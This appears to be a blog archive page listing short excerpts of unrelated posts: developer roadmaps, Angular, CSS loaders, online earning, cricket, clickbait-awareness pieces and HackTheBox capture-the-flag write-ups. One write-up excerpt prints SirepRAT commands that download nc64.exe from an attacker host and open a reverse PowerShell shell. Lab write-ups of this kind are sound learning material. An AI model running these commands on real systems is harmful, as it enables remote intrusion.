In 2025, companies expect backend developers to be strong in Core Java, Spring Boot, Microservices, and CI/CD Deployment. Whether you’re preparing for interviews or upgrading your skills, this is the most complete roadmap you’ll find online. This guide covers all important topics—Java 8 features, Stream API, multithreading, design patterns, microservices architecture, Docker, Kubernetes, CI/CD pipelines,…
Indexes Purpose: Speed up data retrieval (like a book’s index) Types: Example: Trade-offs: Indexes speed up reads but slow down writes (inserts/updates). Don’t index everything—only columns you frequently search, filter, or join on. Constraints Data Integrity Rules: NOT NULL: Field must have a value UNIQUE: No duplicate values allowed CHECK: Validates data against conditions DEFAULT:…
SYSTEM DESIGN System design is about architecting large-scale software systems. It’s how you build applications that handle millions of users, massive data, and stay reliable. Core Principles Scalability – Handle growing load (users, data, traffic) Reliability – System works correctly even when things fail Availability – System is operational and accessible Maintainability – Easy to…
In today’s fast-paced digital world, the quest for financial independence has never been more accessible—especially with the rise of online earning opportunities in 2026. As unemployment rates in India hover around 8.1% and continue to climb globally due to economic shifts and AI automation, millions are turning to side hustles like freelancing, affiliate marketing, and…
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Are you eyeing the powerful iPhone 16 Pro but waiting for the right moment to buy? With the iPhone 17 series launch approaching, retailers are slashing prices on the iPhone 16 Pro to clear inventory. As of October 2025, significant price drops make this premium smartphone more accessible than ever. In this guide, we’ll cover…
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As developers, we often face a unique challenge: how do we prove our practical skills beyond GitHub repos, portfolio projects, or years of experience? While Angular is widely regarded as an “enterprise framework,” formal recognition of expertise isn’t always straightforward. Programs like Google Developer Experts (GDE) exist, but they often focus broadly on Google technologies…
Understanding Angular’s Change Detection Mechanism and Zone.js Angular is a widely-used JavaScript framework for building dynamic and robust web applications. One of its key features is the powerful change detection mechanism, which ensures that the application’s view stays synchronized with its model, providing a smooth and responsive user experience. In this article, we’ll delve into…
1. Zoneless Change Detection with Signals 2. Function-based Route Redirects 3. Improved Developer Tooling 4. Enhanced Angular Material and CDK 5. Server-Side Rendering (SSR) Enhancements 6. Improved Internationalization (i18n) Support 7. TypeScript 5.4 Support 8. Additional Features Conclusion Angular 18 introduces a range of new features and improvements, enhancing performance, developer experience, and flexibility in…
Explore the timeless puzzle of Tower of Hanoi: an intriguing test of logic and strategy. Learn the rules, discover solving techniques, and dive into its mathematical underpinnings. Challenge yourself with various levels of complexity and master the art of moving disks with precision. Unravel the mystery of Tower of Hanoi today!
Earning money online in 2024 is more feasible than ever, with a plethora of opportunities catering to diverse skills and interests. Here’s a glimpse into some of the most popular online earning avenues for the year: Freelancing: Leverage your expertise in writing, graphic design, programming, virtual assistance, data entry, video editing, or any other in-demand…
HTML file CSS file Explanation : Similar explanations apply to the other a span:nth-child(n) rules, each with variations in positioning, gradient direction, and animation name. Finally, the @keyframes rules define the animations: These @keyframes rules define the animations for the spans, each animating the position (left, top, right, bottom) from off-screen to on-screen and vice…
Concentric loader CSS file A loader, often referred to as a spinner or loading animation, is a visual indicator used to convey to users that a web page or application is processing or fetching data. It serves as a visual cue to reassure users that their request is being attended to, especially in situations where…
Hackthebox retired machine are those machines which are not active on the Hackthebox . But the good thing about the retired machines is that the writeups for hackthebox retired machines are available . So the beginners who are starting the CTF journey can read these writeups and get the idea how the machines are solved .
It is a medium level machine from hackthebox which is great for learning new skills . It starts with the abusing of jwt token which leads to admin panel and which further leads to the www-shell . Then a little enumeration we get the ssh keys for the user. For privilege escalation sudo exploitation was enough and a little google gets the work done.
It is easy machine from hackthebox. Which includes little web directory enumeration which leads to password leaks. Then with the help of msfconsole we get initial shell . After some basic enumeration gets password for a ssh user. Followed by privilege escalation by abusing sudo rights in this it was
It is an easy Linux machine .Nmap revels that it is running two ports only one is 22 and other 80. Nmap also revels that it is running Drupal 7 CMS.This was the initial foothold. After that we get MySQL creds leading to creds of a valid ssh user.Using snapd for Linux privilege escalation was interesting .
Introduction Steps Involved Port Scan python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput –return_output –cmd “C:\Windows\System32\cmd.exe” –args “/c powershell Invoke-Webrequest -OutFile C:\nc64.exe -Uri http://10.10.14.20:8000/nc64.exe” –v python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput –return_output –cmd “C:\Windows\System32\cmd.exe” –args “/c C:\nc64.exe 10.10.14.20 9001 -e powershell.exe” –v
Introduction It is a openBSD machine which has some directory enumeration and mostly all the steps are based on enumeration.Making the initial foothold may take time but over all a great machine . Steps involved 1-Port Scan 2-Enumerating website 3-Directory enumeration 4-Making of perfect payload 5-Getting reverse shell 6-Getting webapi_user password 7-Getting ssh keys for…
It is a great machine from hackthebox .The OS is Linux it includes little web enumeration which leads to explotitaion of the New management system.Further enumeration gave the creds for the user .then switching amother user with some guess work.And privilege escalation by exploiting usb-creator
Introduction Column Details Name Sneakymailer IP 10.10.10.197 Points 30 Os Linux Difficulty Medium Creator Sulcud Out On 11 July 2020 Steps involved 1-Port Scan 2-Basic website enumeration 3-Sending Spoofed mail 4-Login into imap using paulbyrd creds and extracting mails 5-Login into ftp using developer creds 6-Uploading a Reverse shell through ftp 7-Subdomain enumeration 8-Getting shell…
The Question What the difference between 127.0.0.1 and 0.0.0.0 ? The Answer What is the Difference Between 127.0.0.1 and 0.0.0.0? 127.0.0.1 is the loopback address (also known as localhost). 0.0.0.0 is a non-routable meta-address used to designate an invalid, unknown, or non-applicable target (a ‘no particular address’ place holder). In the context of a route…
Linux General ctrl + r Search History reverse Run Script at startup update-rc.d -f /path/to/the/script remove Delete Script from defaults Vim i for insert mode esc to leave insert mode To be continued with macros and all this handy shit Tmux Config from ippsec. First press the prefix ctrl + a, then release the buttons…
There are many posts on internet for SEO tips but they keep on changing every year and then.So it is very necessary to be updated with them. Moreover the easiest way is to learn it your self and perform hit and trial methods . But we Know that every one now a days is running…
The excitement is palpable as the Board of Control for Cricket in India (BCCI) has officially unveiled the India T20 World Cup 2026 squad, marking a pivotal moment for fans eagerly awaiting Team India’s campaign in the upcoming ICC Men’s T20 World Cup. As the defending champions from the 2024 edition, India enters the tournament…
1️⃣ Umar 15 ki Kaam 25 ke – Truth Behind the Viral Video Search Keywords: umar 15 ki kaam 25 ke truth, umar 15 viral video real or fake In recent days, many people have searched for the phrase “Umar 15 ki Kaam 25 ke”, believing it refers to a viral video. However, there is…
Focus Keyword: 19 minute viral video fact checkRelated Keywords: duration clickbait, viral video reality, fake video timestamps, online scam awareness Introduction: Why Do People Search “19 Minute Viral Video”? Agar aapne kabhi dekha hoga, bahut saare posts aur comments aise hote hain: “19 minute ka viral video”“पूरा 19 मिनट का वीडियो यहाँ देखें”“Original 19 min…
“Umar 15 Ki, Kaam 25 Ke” — The Reality Behind the Viral Clickbait Focus Keyword: umar 15 ki kaam 25 ke truthRelated Keywords: viral video reality, clickbait warning, umar 15 ki kaam 25 ke viral video, online scam awareness Introduction: Why Is “Umar 15 Ki, Kaam 25 Ke” Everywhere? Aaj-kal internet par ek phrase bahut…
These short blogs are written for awareness and digital safety. They explain why certain viral video titles are misleading, unsafe, or fake. No links or descriptions of explicit content are included. 1) “Umar 15 ki, Kaam 25 ke” — The Reality Behind the Clickbait Keywords: umar 15 ki kaam 25 ke truth, viral video reality,…